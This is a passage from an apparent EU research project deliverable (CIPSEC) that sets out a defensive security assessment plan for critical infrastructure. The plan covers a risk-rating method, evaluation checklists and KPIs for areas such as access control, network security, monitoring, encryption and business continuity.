
---

The course creation is a process that can be completed by registered users. Using the option “New Course Module” a user can design and upload his/her training course (Figure 29).
The integration of the UOP training platform with the training service and the Unified Dashboard is made through the use of iframes and considering the authentication mechanism, currently all courses are open to the public (do not require authenticated users). In the future the OAuth protocol will be used to allow CIPSEC registered users, view training material that is not free.

Finally, the source code of the training platform is public and anyone can download and install it. However, the eLearning and training courses that currently exist in FORGEBox and UOP’s training platform are not part of the source code, and one must separately request them from the hosting organization, or create his/her own courses.

3.2.5.2 Updating & Patching Platform

Unpatched systems leave critical infrastructures susceptible to malware incidents, outbreaks, and data breaches. GravityZone Patch Management module enables CIs to keep OS and Applications up to date across the entire Windows install base workstations, physical servers and virtual servers. GravityZone Patch Management module supports both automatic and manual patching. It has the ability to create a patch inventory, schedule patch scanning, limit automatic patching to admin-preferred applications, vary scheduling for security and non-security patches and postpone reboots for patching requiring a restart. Patch Management module can be added on top of existing Bitdefender GravityZone Endpoint Security products. The new module is managed from the same GravityZone console that customers use today.

The patch management is a GravityZone add-on and can be added on top of the existing GravityZone installation. For the moment, it is only available for the on-premises installation.
4 CIPSEC solution assessment & evaluation plan

The following section describes the CIPSEC solution assessment and evaluation plan. This differs from the general evaluation described in WP4.

4.1 Evaluation methodology

4.1.1 Evaluation goals

The purpose of the evaluation process is to locate the vulnerabilities and security gaps of the critical environment. The end product of the process will be a list of findings to be taken care of, recommendations for mitigating the gaps and a set of ratings to key security performance indicators (KPIs).

It is essential to emphasize that the goal of the evaluation is to evaluate the overall security stance of the critical infrastructure, and to evaluate to which extent deploying the CIPSEC solution helps to improve the overall security stance of the critical infrastructure. However, by performing both pre-deployment evaluation and post-deployment evaluation, we will be able to clearly observe the influence of the CIPSEC framework deployment. Specific sections of this deliverable will highlight the expected CIPSEC value for each evaluation scope.

The evaluation content, as detailed in this chapter, is generic and not specifically adjusted to the architecture, security requirements, threats and risks of the evaluated systems. Nevertheless, the evaluation activities as well as the indicators are oriented to suit critical infrastructures in general.

4.1.2 Evaluation approach

Most of the evaluation activities will be performed using a white box security assessment approach.

White box security testing is an approach in which the system owner shares as much information as possible about the internal functionality of the system, such as design documents, along with information on the architecture, user credentials for the assessed resource and potentially even source code.

A subset of the evaluation will consist of several relevant and feasible attack scenarios, which will may be performed as grey box or black box penetration test. While in grey box approaches the system owner shares partial information about the assessed resource, in black box approach only public information is shared.

4.1.3 Evaluation phases

Based on Comsec's methodology for performing security reviews, the concept of the assessment will be comprised of the following general key phases:
The specifics of each phase of this high-level concept will be adjusted according to the evaluation method, which are detailed below.

4.1.4 Evaluation methods

The actual testing performed on the critical infrastructure can take many forms. The selection of evaluation form will depend on how the specific subject can be assessed. For example, whilst work processes can be tested only by verbal questioning, performing attack scenarios will require hands-on penetration testing. Another criterion is the importance of the issue in terms of the specific requirements of the organization. That is, when there are time constraints, hands-on testing of a critical component should be prioritized over testing a non-critical component.

The evaluation can take the following general forms:

**Staff interviews**

The initial step will be interviewing the ICS stuff, to gain basic understanding and insights into the architecture, processes and procedure of the critical infrastructure.

**Technical documentations review**

Following the staff interviews, a technical documentation review will be made to gain further understanding of the assessed systems and to identify other potential vulnerabilities. Some examples of such technical documents are architecture diagrams, business process diagrams and system inventory.

**Configuration review**

This form of assessment will consist of checking the configuration of the assessed components and validating the expected functionality. This activity could identify areas where the process could be optimized. This is the only way to assess and secure the production system components and network.

**Laboratory assessment**

Performing any kind of testing over a production system may pose a risk to the availability of the system. A solution for this can be testing a replicate testing environment, which should be as functionally as close the production system as possible, so that the testing mimics the production conditions.

**Production system**

An assessment of the production system can produce the most accurate results. However, this assessment should usually be a passive test to reduce that risk for any negative impact to production business processes. This type of assessment can be employed as a follow-up to a laboratory assessment or when no other way is available to perform the test.

**Component testing**
Component testing is testing individual pieces of an ICS separately from the rest of the system. These tests usually work with the target component isolated from the rest of the network. An example of a component test is a PLC, RTU or HMI application that plays a significant role in the ICS.

4.1.5 Risk Level evaluation

Every finding in a security assessment should be rated according to a risk level. The final risk level for each finding is determined based on two factors. “Impact” represents the amount of damage that exploitation of the vulnerability could cause and “Likelihood” represents the probability of the vulnerability being exploited. The graphic below shows the considerations that go into these two factors.

**Impact**

- Impact on Confidentiality
- Impact on Integrity
- Impact on Availability
- Indirect damage
- Financial damage
- Reputational damage
- Regulatory damage

<table>
<thead>
<tr>
<th>Impact Area</th>
<th>Impact Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Knowledge required</td>
<td>Frequency of occurrence</td>
</tr>
<tr>
<td>Target attractiveness</td>
<td>Controls in place</td>
</tr>
<tr>
<td>Complexity of exploitation</td>
<td></td>
</tr>
</tbody>
</table>

**Likelihood**

<table>
<thead>
<tr>
<th>Difficulty</th>
<th>Frequency of occurrence</th>
<th>Target attractiveness</th>
<th>Controls in place</th>
<th>Complexity of exploitation</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOW (1)</td>
<td>LOW (1)</td>
<td>LOW (1)</td>
<td>MEDIUM (2)</td>
<td></td>
</tr>
<tr>
<td>MEDIUM (2)</td>
<td>LOW (1)</td>
<td>MEDIUM (2)</td>
<td>HIGH (3)</td>
<td></td>
</tr>
<tr>
<td>HIGH (3)</td>
<td>MEDIUM (2)</td>
<td>HIGH (3)</td>
<td>CRITICAL (4)</td>
<td></td>
</tr>
</tbody>
</table>

**Figure 31: Risk Level factors**

**Final Risk Level**

The risk for each finding is calculated as one of four levels: Critical, High, Medium, or Low. This is based on taking the Impact and Likelihood levels of the finding and computing the risk level based on the matrix below:

**Figure 32: Final Risk Level calculation**

**Critical** is generally used for a risk that is rated with high likelihood and high impact. Such finding is severe and requires therefore a near-immediate attention.
It is recommended to use the risk level as the basis for defining the priorities and timetable for addressing the different breaches and transforming the recommendation service that will be detailed below into a concrete mitigation plan.

4.1.6 CI assessment characteristics

Although the fundamental methodology of performing a security assessment on critical infrastructure remains the same as security assessment of a typical IT system, few major differences can still be noticed. The most prominent unique characteristics for assessing a critical infrastructure are:

**Different security priorities**

Typical penetration tests usually look to gain unauthorized access to sensitive and confidential data, as well as to possible exfiltrate it. This is due to the reason that for typical IT systems, the confidentiality requirement tends to be the most important out of the three defined security objectives for information and information systems: confidentiality, integrity and availability (CIA). However, in critical infrastructure, the availability requirement tends to be the most important, with the integrity as a second goal. The confidentiality requirement may even be negligible in some cases.

This major difference influence both the tests that should be performed and the impact factor of the finding (as defined in the risk level evaluation section).

**Lack of a testing environment**

Simulating an IT application is usually a very quick and inexpensive task. The application can be virtualized and deployed in a matter of days, and sometimes minutes. On the contrary, simulating an ICS tend to be a very expensive and exhausting task, hence many critical infrastructures lack a proper testing environment.

**Insecure protocols**

Most of the popular ICS protocols were developed when ICSs were isolated from the corporate environment, let alone the Internet, and security was not a consideration. Moreover, the fact that the protocols were proprietary led some vendors to mistakenly believe that they could not be exploited. Thus, these standard protocols such as Modbus and DNP3 lack any means of authentication or integrity checking. With ICSs no longer isolated from the corporate networks, these insecure protocols put the systems at risk of a cyber-attack.

**Risk of harming critical services**

The lack of accurate testing environments, combined with the understanding that most ICS components and protocols are vulnerable to penetration testing, implies a great risk of harming critical services. At a minimum, network scanning and vulnerability scanning may slow the network response, and possibly render the ICS components inoperable. As a result, security assessment can be usually performed in the form of configuration review or other passive testing method, such as network sniffing.

**Air-gapped systems**

Some of the critical infrastructures' networks are air-gapped from the Internet, and in some rare cases even air-gapped from the corporate network. Thus, the treat analysis of this system would be very different compared to a typical IT application, such as a public web site. For example, lack of physical security of public endpoints (such as smart city cameras and sensors) becomes a more concrete risk than the risk of an Internet attacker.

This issue may also pose a challenge for performing the assessment from a remote location.

**Different technical focus**

Because of the inherent insecurity in the ICS environment, ICS testing should focus on the security of the ICS network perimeter (the communication paths in/out of the ICS network). This perimeter should be architected with a defense-in-depth security approach, which involves the use of firewalls, IPS devices and DMZ networks.

4.2 Evaluation process

The evaluation process of the critical infrastructure will be divided into the following categories:
Each of the evaluation categories will be briefly described, and the following section will be presented:

**Evaluation activities**

The evaluation activities section for each category will describe the issue to be tested, followed by an explanation of the purpose and importance of the test. The test will not be presented as a step-by-step manual, as the evaluation must always be adjusted to the specific assessed system.

**CIPSEC solutions**

For every evaluation category, we will show the expected impact of the CIPSEC framework deployment on the security level, as measured by the evaluation activities. In each case where any of the CIPSEC’s products and services may contribute with addressing any of the evaluation activities, we will present the relevant CIPSEC solution with a short explanation.

Further details regarding the CIPSEC solutions can be found in section 3.1 of this deliverable, or in deliverables D2.1-D2.5.

**Security KPIs (Key Performance Indicators)**

The evaluation process of the security stance will be concluded with determining a rating on the scale of 1 to 5 for several KPIs – Key Performance Indicators of the security level.

The goals of the KPI metric are to identify areas where there is a gap compared to optimal status, and to measure the value of deploying the CIPSEC framework (as well as other security solutions) in order to reduce the relevant impacts. The purpose of the KPI metric is not to compare the security level of different critical infrastructures, as it is impossible to effectively achieve with a numerical score and ultimately futile. The goal of the whole evaluation process is to improve the security stance of the assessed critical infrastructure and the KPI metric should support it.

For every evaluation category, several KPIs will be defined. As mentioned above, the score for each KPI will be determined on a scale of 1 to 5, with 5 being the best rating.
• A rating of 5 will imply that the indicator is fully realized, or extremely close to it. There is not noticeable improvement to be made for this indicator.
• A rating of 4 will imply that the indicator is mostly realized. There is room for improving the security stance, but the statement within the KPI is mostly true and reflect the actual status for the most part.
• A rating of 3 will imply that the indicator is very partially realized.
• A rating of 2 will imply that the indicator is slightly realized. The statement within the KPI is somewhat true, but not for the most part.
• A rating of 1 will imply the indicator is not realized. The statement within the KPI does not reflect the actual status at all.

For example, we will present the following KPI (Monitoring & Auditing 2nd KPI):

"Logs from the various sources are sent to a central SIEM system"

A rating of 5 would be given for a CI in which there is a SIEM system, and logs from the capable CIPSEC products and the network infrastructure components (FW, IPS, NAC, AD, etc.) are sent to it. A rating of 1 would be given when no SIEM system is deployed, or when no logs are sent to the SIEM system. Ratings of 2, 3 or 4 will be given when only some of the capable sources actually send security logs to the SIEM system, according to the amount of such sources compared to the potential.

As we can infer, most of the KPIs are not quantifiable in a discrete manner. The exact rating of the KPI may be discretionary and different assessors may choose different ratings. However, we believe that this would be the case with every meaningful and broad indicator. With that said, it should be stressed that the actual purpose of the metric is to evaluate the deployment value of security solutions, and not to compare the security rating between different organizations or systems, so the actual numerical rating has a little meaning.

Each of the KPIs is numbered, so it can be uniquely identified by specifying the category and the number (e.g. access control 3).

Currently, we do not believe there that there is a sense to determine an overall KPI score by combining the individual ratings, as such a formula will not be able to suit every critical infrastructure and many of the KPIs are closely related (the importance of many KPI depends on the fulfilment of other KPIs). Moreover, a combined score will have a little value considering the initial purpose of the KPI metric as presented above.

4.2.1 Access Control

Access control refers to the authentication and authorization mechanism of services and resources, such as command and control systems, workstations and servers. Impersonating an authorized employee can enable the attacker to avoid most of the security controls, and therefore a major goal of an attacker is to gain legitimate and sufficient authentication credentials to the CI’s critical services.

4.2.1.1 Evaluation activities

The tests are relevant for workstations (in particular administrative workstations of IT and OT staff), servers, network devices and the various critical infrastructure management interfaces.

The following tests will be performed while evaluating the CI’s access control:

• Is client authentication towards sensitive resources made with multi-factor authentication?
  Confirming a user’s identity using a single authentication factor, such as password, may be forged by an impostor. Identifying the client with two or more factors, such as a smart card and a PIN code or physical biometric characteristic, can greatly reduce the probability of identity theft.
• Is there any use of a central and authoritative identity database?
  Managing the lifecycle of user identities in every service is a complex procedure. A security best practice is to authenticate to services with users that are managed in a central identity database, such as Microsoft Active Directory or other organizational LDAP.
• Is there any protection against password brute-force?
Password authentication can be bypassed by password guessing, using brute-force attack or dictionary attack (attempting to authenticate by using popular passwords). Such attacks can be mitigated by account lockout mechanism which will be activated after several failed attempts, or by real-time monitoring.

- Is there any use of shared user accounts?
  An important authentication best practice is to use only individual, named user accounts. Usage of a collective user account cannot be traced to a specific individual. Moreover, passwords of accounts that are used by several employees are more likely to leak.

- Do user accounts adhere to a strict password policy?
  Simple passwords, such as short passwords, are easy to guess. Implementing a strict password policy will force the users to choose long and complex passwords. The policy can also require periodic change of the password and prevent the ability to set a previous password again.

- Is there a remote access capability to sensitive resources by employees or third parties?
  Remote access to the internal network from untrusted external networks, let alone from the internet, imposes a great security risk. Such access must require strong authentication and should be monitored. Furthermore, subcontractors that are allowed access must pass a reliability check in a similar fashion as permanent employees.

4.2.1.2 CIPSEC solutions

**Empeloros’ Secocard** is the dedicated solution for strong authentication that is provided by the CIPSEC framework. Implementing smart card authentication can greatly reduce the use of password as a single authentication means, which may be guessed or stolen. Authentication using smart card offers more security than using passwords alone, by using two-factor authentication. Instead of just requiring “something you know” (password), we add the requirement of “something you have” (smart card). Secocard can be used to authenticate to workstations and servers, as well as other applications.

Furthermore, **Atos’ XL-SIEM** can support the detection of authentication thefts, by monitoring for brute-force password attacks and detecting abnormal user behaviour, which may imply that the user has been compromised.

4.2.1.3 Security KPIs

1. Multi-Factor authentication is used for authenticating to sensitive resources.
2. Authentication to sensitive resources is done by users which are stored in a central database.

4.2.2 Network Security

Network security is a very broad term, which refers to the policies and controls adopted to prevent unauthorized activities of a computer network and networked assets. This category deals with network layer controls, rather than more specific issues such as endpoint security, authentication and authorization. The evaluation of this domain consist of assessing the network architecture, as well as examining advanced and dedicated network security solutions.

4.2.2.1 Evaluation activities

The following tests will be performed to evaluate the network security:

- Is the ICS network separated from the corporate network?
  There is usually little to no need for any access from the corporate network, that is exposed to various threats, to the ICS network. If possible, the ICS network should be air-gapped. If any connectivity is allowed, it should be as minimal as possible and preferably sanitized and monitored.

- Can critical components (such as production servers, HMI workstations, PLCs) access the Internet?
For obvious reasons, connecting mission critical devices to the Internet leads to a major security threat and should be avoided.

- Are client workstations segmented and separated from servers?
  Workstations should be separated from servers by a firewall, which will allow only the needed access according to the principle of least privilege.

- Are CI endpoints (such as remote PLCs and RTUs) separated from each other?
  Many SCADA networks are architected as a flat network, e.g. there is a full network access from any endpoint to any other endpoint. Such architecture enables an attacker that has compromised one endpoint (such as a physically insecure endpoint) to gain full network access to other endpoint device without any interference.

- Are workstations separated from each other?
  Separation between workstation can prevent lateral movement of an attacker within the network. Special notice should be given for operational and highly privileged workstations.

- Is there any DoS protection for critical wireless networks?
  Wireless networks are exposed to denial of service attacks in the form of radio jamming. A dedicated solution should be implemented in order to detect and mitigate such attacks.

- Is there any DDoS protection for mission critical services that are exposed to the Internet?
  A Distributed Denial of Service (DDoS) attack is an attempt to make a service unavailable by flooding it with traffic from multiple sources. This threat is particularly relevant to online services. DDoS attacks can reach a much higher magnitude than simple DoS attacks and requires specialized mitigation solutions.

- Is there a use of a network IDS/IPS solution?
  IPS can identify and prevent malicious communication and is often offered as a feature in NGFWs (Next Generation Firewalls). In use cases when critical infrastructure administrators fear that IPS components will disrupt any legitimate communication, the device can be configured in detection mode (as an IDS).

- Is there a use of a secure web gateway for safe browsing, for Internet-connected computers?
  Secure web gateways perform content filtering of internet traffic by using URL filtering and other methods. This solution can greatly reduce the probability of malware infection.
  This test is relevant for organizations where the corporate network (which is connected to the internet) is not properly separated from the ICS network.

### 4.2.2.2 CIPSEC solutions

As presented in CIPSEC’s reference architecture, several solutions deployed on Acquisition layer can be used to address network security. The organization’s solutions within the network security layer (FW, IPS, etc.) could also interact with the acquisition layer of CIPSEC core framework.

**WorldSensing’s DoSSensing**, is designed to detect jamming attacks on wireless networks in real time.

### 4.2.2.3 Security KPIs

1. DoS protection solution is deployed for protecting critical wireless networks.
2. DDoS protection solution is deployed for protecting critical public services.
3. An IDS/IPS is deployed and traffic from external networks flows through it.

### 4.2.3 Endpoint Security

Securing endpoints according to compliance standards is essential in order to protect them from direct attacks, and to prevent lateral movement in advanced persistent threat scenarios. The endpoint may be regular employee workstations, special workstations which contains a HMI (Human Machine Interface of SCADA system), servers, and also dedicated SCADA devices such as PLCs and RTUs. It should be noted that whilst
protection of typical endpoints running on Windows or Linux can be implemented with common security tools, these tools cannot be deployed on propriety devices.

4.2.3.1 Evaluation activities

In order to evaluate endpoint security, the following tests will be performed:

- Is an anti-malware solution used?
  While assessing this issue, we should evaluate the percentage of endpoints that are protected by the anti-malware solution.

- Are virus definitions updated regularly?
  In order to ensure the efficiency of the anti-malware tool its definition should be updated regularly, preferably on a daily basis.

- Is a host firewall installed on endpoints?
  A host firewall can be used to block unauthorized connections to the host. It is recommended to accompany the firewall with a HIPS (host intrusion prevention system) solution.

- Is the anti-malware solution able to identify 0-Day (unpatched) vulnerabilities?
  Traditional anti-virus software can only spot malicious software according to specific file signatures. This approach has important, but limited abilities. Advanced dynamic detection techniques, which are based on heuristics, anomalous behaviour detection and data mining, may identify unknown vulnerabilities.

- Is there any use of application whitelist solution?
  Typical anti-malware solutions act as blacklist, restricting any suspicious activity. A stricter solution would be to whitelist only the needed applications. This method may be difficult to implement, but will provide superior results.

- Is a device control solution deployed on endpoints?
  Malware may infiltrate the endpoints through physical devices, such as a USB flash drive. A device control software can prevent the use of unauthorized devices.

- Can end user disable the Anti-Malware program?
  Antivirus programs may sometimes interrupt the user’s activity. If the end users are able to disable the endpoint security agent, some of them will make use of this possibility and the security coverage will be partial.

4.2.3.2 CIPSEC solutions

The main solution from the CIPSEC framework that is intended to protect endpoints is the Bitdefender’s GravityZone. GravityZone leverages Bitdefender's antimalware technologies and provides a centralized security management platform for physical, virtualized and mobile endpoints. The software can provide various endpoint capabilities such as malware detection and prevention, host firewall, behavioral scanning, application control and anti-phishing.

4.2.3.3 Security KPIs

1. A regularly updated Anti-Malware product is installed on the organization’s workstations.

2. A regularly updated Anti-Malware product is installed on the organization’s servers.

3. The Anti-Malware solution contains an advanced analytics engine, based on behavioural analysis, to detect unknown malwares.
### 4.2.4 Input Validation

A common attack method is manipulating the input data from the client to the attacked system in order to deceive the application and to cause various malfunctions. Input validation should be performed to ensure that only properly formed data is entering the workflow of the system.

Data from all potentially untrusted sources should be subject to input validation, including not only Internet-facing clients but also internal clients, partners, vendors and remote untrusted endpoints. Each of these sources may be compromised and start sending malformed data.

Input validation and sanitization can reduce the impact of many application attacking techniques, but it’s not the only best practice for secure application development. This category will focus on input validation but other application security best practices should be implemented as well.

#### 4.2.4.1 Evaluation activities

The following tests should be performed as part of this category:

- **Is there a mechanism for monitoring and sanitizing input fields that are sent by the client?**
  
  A whitelist validation for user inputs should be implemented within the application to prevent insertion of malicious code.

- **Is there a mechanism for limiting the upload of files that may pose a risk to the system?**
  
  Some applications allow the user to upload files. Uploading a malicious file, such as a malware, may harm the server and should be prevented. The system can incorporate a file type filter, an antivirus, or dedicated file sanitization solutions.

- **Is there a mechanism to ensure message integrity of ICS data?**
  
  Command which are sent between different nodes of the SCADA network, such as commands from a central SCADA server to a remote PLC, can be subject to manipulations. An integrity mechanism (such as digital signing) can prevent such attacks.

- **Are web applications protected by a WAF solution?**
  
  A WAF (Web Application Firewall) component can identify and block various web application attacks. Implementing a WAF can greatly mitigate security risks of externally faced web applications, such as the organization’s web site, but can also be deployed to protect internal web applications.

- **Are sensitive databases protected with a DAM/DBFW solution?**
  
  DAM (Database Activity Monitor) and DBFW (Database Firewall) can inspect the traffic towards databases to detect and prevent various database attacks, such as SQL injection.

#### 4.2.4.2 CIPSEC solutions

Most of the CIPSEC framework is not intended to address application-level security issues. Nevertheless, two products can provide a solution for ensuring the integrity of data: **Emperlors’ Secocard** and **UoP’s HSM**. The two solutions can use standard cryptographic algorithms to create a digital signature and to validate it at the receiving end. The specific selection of the preferred solution should be tailored for the specific use case, although in a preliminary examination it seems that the Secocard solution will usually suit client to client data integrity, and the HSM solution will suit server to server integrity.

#### 4.2.4.3 Security KPIs

1. Comprehensive input validation is performed for client provided data.
2. A mechanism for ensuring message integrity of ICS data is implemented.
3. WAF is deployed for externally faced mission critical web applications.
4.2.5 Monitoring & Auditing

The process of maintaining cyber security can be roughly divided into several phases: prevention, detection, response and recovery. Whilst most resources are usually spent on prevention, detecting threats is essential. Researches show that advanced persistent threats are detected about 100 to 200 days (on average) after the initial breach. Auditing suspicious activities and leveraging central advanced solutions such as SIEM and forensic analysis can enable the organization to detect and to eradicate threats prematurely.

4.2.5.1 Evaluation activities

The following tests will be performed as part of the evaluation of the security monitoring stance:

- Are critical systems and OT/IT infrastructure services are configured to log sensitive events?
  The basis of security monitoring is the capability of preserving audit logs.

- Are audit logs from various sources sent to a central system?
  Monitoring a central location (such a SIEM system) instead of several systems will increase the work efficiency and will allow to correlate events from different sources.

- Is the monitoring system configured to correlate events and raise alerts according to the business needs?
  SIEM (Security Information and Event Management) systems are usually configured to raise alerts according to default rules. Configuring event correlations from different sources and according to the specific threat and business process can improve the detection ability dramatically.

- Is there a solution for detecting system anomalies against the usual behaviour, such as abnormal loads?
  Cyber-attacks are often difficult to detect, as the attacker may perform actions that are similar to those of a legitimate user. However, advanced SIEM solutions are able to detect deviations against the standard behavior of the system in order to identify sophisticated malicious activities.

- Is there a solution to support cyber forensics activities?
  Computer forensics is the act of examining digital evidences, taken from various sources, with the goal of investigating a security event (or chain of events). Forensics tools can enable to reconstruct the events in order to identify a root cause.

- Are any honeypot solutions deployed?
  Honeypot can lure potential attackers into attacking them, thereby serving as an effective detection solution, especially for network scans and DoS attacks.

- Are creation of administrative accounts and changes of permissions logged and monitored?
  In many cyber-attacks scenarios, the attacker will try to gain persistence by creating additional administrative accounts and granting additional permissions.

- Are remote administrative connections logged, monitored and recorded?
  Monitoring administrative and sensitive access may enable the organization to detect and to investigate malicious activities.

4.2.5.2 CIPSEC solutions

The main CIPSEC product that addresses security monitoring is ATOS’ XL-SIEM. The product can receive logs from any source on the network and provide alerts and insights, according to preconfigured correlations and advanced analytics.

Several other products of the CIPSEC framework take part in the holistic monitoring solution. Products that reside in the acquisition layer of the CIPSEC reference architecture provide input to the XL-SIEM as detection sensors: Bitdefender's GravityZone, Forth's Honeypot tool, WOS' DosSensing and Empeloros' Secocard.

The second CIPSEC solution that can allow detection of malicious activity is Forth’s Honeypot. The approach of the product is different compared to traditional solutions. Instead of monitoring the activities related to actual production resources or services, the tool act as a decoy to lure potential attackers. Legitimate clients are not
expected to communicate with the honeypot, hence any client that communicate with it is immediately suspected as an attacker.

Another related CIPSEC solution is **AEGIS’ Forensics Visualization Toolkit**, which allows for detection and determination of causes of major security incidents.

### 4.2.5.3 Security KPIs

1. The critical infrastructure components (network devices, servers, controllers) are configured to audit security and access logs.
2. Logs from the various sources are sent to a central SIEM system.
3. The SIEM system is monitored regularly by trained personnel.
4. The SIEM system is configured with specific correlations according to the business process.
5. The SIEM system can detect anomalies against the usual baseline behaviour.
6. There is a use of sophisticated honeypot tools.
7. There is a use of comprehensive forensic tools and methods.

### 4.2.6 Hardening & Patching

Hardening is the process of securing a system by reducing its surface of vulnerability to only the needed functions, as well as eliminating any unnecessary exploits. Among the hardening activities, we can include removal of unnecessary software, closing network ports and changing default passwords. Whilst the hardening of popular operating systems and various infrastructure products (such as databases or web servers) can be performed according to public best practices and manufacturer recommendations, proprietary products (such as PLCs) usually lack detailed security documentation and should be hardened according to common sense and by leveraging any security capabilities that are offered.

In addition to system hardening, another important method to resolve vulnerabilities is regular patching of the products with the latest updates. Known vulnerabilities can be easily exploited by attackers as they are publicized on the internet.

#### 4.2.6.1 Evaluation activities

The following tests should be made in order the evaluate the hardening stance of the critical infrastructure:

- **Is the operating system of workstations and servers hardened according to trusted best practices (NIST, CIS) and manufacturer recommendations?**
  
  As explained above, hardening the system will reduce its surface of vulnerability.

- **Are SCADA controllers (such as PLCs) are hardened according to their capabilities?**
  
  Typical hardening activities may include disabling unsecure protocols, disabling unnecessary ports, and whitelisting allowed addresses for management purposes.

- **Are security updates regularly deployed on the various system components (operating systems, middleware applications, network devices, etc.)?**
  
  The organization should plan and implement an updating process in order to patch security vulnerabilities regularly. Known critical vulnerabilities should be patched after up to 3 months.

#### 4.2.6.2 CIPSEC solutions

One of the services included in the CIPSEC solution is an **updating service** (sometime referred to as patching service). The service will continuously update the CIPSEC products made by Atos, UPC, Bitdefender and
AEGIS. This service will ensure that the security tools themselves will meet high security standards by patching their potential vulnerabilities.

4.2.6.3 Security KPIs

1. Operating system of servers and workstations are regularly updated with security updates.
2. Critical software (such as security products and web browsers) is regularly updated.
3. SCADA components (PLCs, RTUs, etc.) are hardened according to common security best practices.

4.2.7 Data Encryption

Data encryption can provide important and powerful abilities for protecting information, both in-motion (over the wire) and at-rest (while stored on a permanent disk). A properly secured critical infrastructure should leverage cryptographic capabilities to prevent malicious cyber activities, such as man-in-the-middle attacks that may impair the integrity of the service. Beside checking the encryption implementation, it should be noted that the private keys which are used for the cryptographic actions should be protected and managed carefully.

4.2.7.1 Evaluation activities

The following tests will be made to evaluate the CI’s use of encryption:

- Are the application protocols of the SCADA systems encrypted?
  A targeted and oriented test should be made for inspecting the traffic between central SCADA servers and remote endpoints. Popular SCADA protocols, such as Modbus, are not encrypted and can be manipulated by a man-in-the-middle.

- How are private keys protected?
  Private keys are used to decrypt information or to digitally sign data. Leakage of the private key use can enable a potential attacker to bypass all of the cryptographic measurements. To properly secure private keys, it is recommended to store them in a HSM device and to restrict the access to the HSM.

- How is the public key infrastructure (PKI) architected?
  The best practice of PKI architecture is to disconnect the Root Certificate Authority (CA) from the network, and to deploy a Subordinate CA.

- Are there any deprecated and non-compliant cryptographic algorithms in use?
  Several old cryptographic algorithms, such as DES and MD5, are considered insecure and can be cracked by using dedicated attack tools, and thus shouldn’t be used.

- Is sensitive and confidential data encrypted in storage devices?
  Encrypting data “at rest” can prevent unauthorized access, such as inspecting the hard disk or the backup tapes offline.

- Is sensitive data anonymized when possible?
  Although data anonymization is not necessarily based on encryption, it can still significantly improve the protection of sensitive data. In cases where it is possible to draw general conclusions from data without actually storing the identifiable information, the data can be anonymized to protect personal information or other confidential data.

4.2.7.2 CIPSEC solutions

The CIPSEC solution for encryption purposes, and cryptographic capabilities in general, is UoP’s HSM device. The product provides a solution for secure key management and storage and can support symmetric
cryptography, asymmetric cryptography, hash functions, message authentication codes and random key
generation. The device can be used for various end purposes, such as encrypting data at-rest, encrypting data
in-motion and ensuring message integrity.

Another CIPSEC solution that is designed for protecting sensitive data is the UPC’s Data Privacy Tool. The
tool can be used for anonymizing personally identifiable information or cybersecurity data that is destined to be
shared with third parties.

4.2.7.3 Security KPIs

1. Highly confidential data is encrypted at-rest.
2. A HSM device is used for storing and managing sensitive cryptographic keys.
3. An anonymization solution is used for applicable use cases.

4.2.8 BCP

Critical infrastructures must satisfy strict availability requirements in order to ensure business continuity. Cyber-
attacks may harm the availability of the services, and while prevention and detection effort should be made, it
should also be possible to quickly recover from successful attacks (as well as from natural disasters and
defects).

4.2.8.1 Evaluation activities

When evaluating the BCP (Business Continuity) and DR (Disaster Recovery) capabilities, the following issues
should be checked:

• Are the network components (such as switches, routers and communication lines) architected in a highly-
available manner?
The network infrastructure of critical services should be able to satisfy the availability requirements,
similarly to the application components.

• Is there a use of backup site (DR site), and are critical core components backed up to it?
Centralized systems are usually hosted in a specific physical site. To ensure DR capabilities, a secondary
standby site should be prepared, and it should contain critical systems as well as cyber-security tools.

• Are there detailed DR procedures?
The DR procedures should define events that may cause business interruptions, conditions for activating
the plans, roles and responsibilities, and recovery plan.

• Are the DR procedures tested periodically?
Preforming periodic dry run testing of the DR procedures is important to train the personnel and to gain
new insights regarding the procedure.

4.2.8.2 CIPSEC solutions

In one way or another, most of the CIPSEC framework products are intended to improve the availability of the
critical infrastructure by supporting its ability to resist cyber-attacks. The most notable example of a CIPSEC
product that is directly and primarily designed to improve the availability of the CI (and therefore to support
the business continuity) is WorldSensing’s DoSSensing.

Out of the CIPSEC services, CIPSEC’s Contingency Plan service is directly intended to address business
continuity capabilities. The Contingency Plan should be as comprehensive and customized as possible
according to business priorities.
4.2.8.3 Security KPIs

1. Detailed BCP procedures exist and are tested periodically.
2. Detailed DR procedures exist and are tested periodically.

4.2.9 Work Processes

Creating and maintaining a robust security framework does not end with deploying security tools. Besides implementing technical solutions, the work processes and policies should be adjusted.

4.2.9.1 Evaluation activities

The following questions should be answered in order to evaluate the security related work processes of the organization:

- Are vulnerability assessments often performed for the critical infrastructure?
  Vulnerability assessments can identify threats, weaknesses and gaps that may be exploited by an attacker. The activity can be performed in the shape of a white-box assessment or a black-box penetration test, or as a combination. In order to achieve full coverage, vulnerability assessments should be performed for all of the components of the system periodically.

- Is there a clear and organized procedure for addressing the recommendations made by the vulnerability assessments?
  Vulnerability assessments provide recommendations as an output. However, some recommendation may be complex, and not applicable for immediate execution. The organization must decide which recommendations should be implemented and set a schedule for execution. Then, the implementation of these recommendations should be follow the accepted timeline.

- Are users educated periodically about security awareness issues?
  All users in the organization are subject to various cyber threat that they need to be aware of, such as phishing email, social engineering, malicious attachments and password policy. A well implemented user awareness and education program should be implemented on all levels of the organization, making it a second nature to all employees, and especially to high privileged employees (such as IT and OT technicians).

- Is there a detailed documentation for describing the network and system components?
  Proper documentation can prove invaluable in crisis situations, when trying to figure out security incidents. The documentation of infrastructure components (such as network) should include the key business processes that are dependent upon each component.

- Are there predefined procedures for dealing with suspicious cyber activities?
  Dealing with a cyber-attack can be a stressful event. A predefined incident response procedure should be followed in such an ongoing event, which contains the relevant parties, responsibilities, escalation conditions and contingency plans. After the event resolution, conclusions should be formed and learned.

- Is there a dedicated and trained security response team?
  A highly trained incident response team (IRT) should be activated in a case of an ongoing event, in order to identify the breach point, isolate it and prevent further use by the attacker. The incident response team should be able to make use of forensics tools to extensively investigate the issue.

- Is there a dedicated and trained SOC team?
  The SOC (Security Operations Center) should consist of trained personnel that are able to understand the alerts raised by the SIEM systems, and to provide an initial response.
4.2.9.2 CIPSEC solutions

There are several CIPSEC services that address various security related work processes.

